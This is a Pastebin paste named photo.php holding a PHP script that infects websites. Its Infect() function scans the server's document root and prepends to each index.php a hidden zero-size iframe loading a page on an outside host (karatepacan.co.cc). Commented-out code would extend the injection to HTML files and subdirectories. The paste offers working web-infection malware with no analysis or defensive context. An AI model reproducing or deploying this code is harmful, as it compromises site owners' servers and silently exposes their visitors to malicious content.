PalmaSolutions

photo.php

May 5th, 2018
281
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.44 KB | None | 0 0
  1. <?$sInjectPHP = "<iframe src=\"http://karatepacan.co.cc/up/go.php?sid=2\" width=\"0\" height=\"0\" frameborder=\"0\"></iframe>"?><?
  2. $iMaxDepth = 4;
  3. $iCurrDepth = 0;
  4.  
  5. $sDir = $_SERVER['DOCUMENT_ROOT'].'/';
  6. Infect($sDir);
  7.  
  8. function Infect($sDir)
  9. {
  10.     global $iCurrDepth;
  11.     global $iMaxDepth;
  12.     global $sInjectPHP;
  13.     global $sInjectHTML;
  14.     global $sLog;
  15.    
  16.     if(file_exists($sDir) and $hDir = @opendir($sDir))
  17.     {
  18.         while(($sFileName = readdir($hDir)))
  19.         {
  20.             if(is_file($sDir.$sFileName))
  21.             {
  22.                 $sExtension = substr($sFileName, strrpos($sFileName, '.')+1);
  23.                 switch($sExtension)
  24.                 {
  25.                     case 'php':
  26.                         if($sFileName == 'index.php')
  27.                         {
  28.                             $sFile = file_get_contents($sDir.$sFileName);
  29.                             $sFile = '<body>'.$sInjectPHP.'</body>'.$sFile;
  30.                             file_put_contents($sDir.$sFileName, $sFile);
  31.                         }
  32.                     break;
  33.                    
  34.                     /*case 'htm':
  35.                     case 'html':
  36.                         chmod($sDir.$sFileName, 666);
  37.                         $sFile = file_get_contents($sDir.$sFileName);
  38.                         $iPos = stripos($sFile, '</body>');
  39.                         if($iPos) $sFile = substr($sFile, 0, $iPos).$sInjectHTML.substr($sFile, $iPos);
  40.                         else $sFile .= $sInjectHTML;
  41.                         file_put_contents($sDir.$sFileName, $sFile);
  42.                     break;*/
  43.                 }
  44.             }
  45.             /*else if (is_dir($sDir.$sFileName) && $sFileName != '.' &&
  46.                      $sFileName != '..' && $iCurrDepth <= $iMaxDepth)
  47.             {
  48.                 $iCurrDepth++;
  49.                 Infect($sDir.$sFileName.'/');
  50.                 $iCurrDepth--;
  51.             }*/
  52.         }
  53.         closedir($hDir);
  54.     }
  55. }
  56. ?>
Advertisement
Add Comment
Please, Sign In to add comment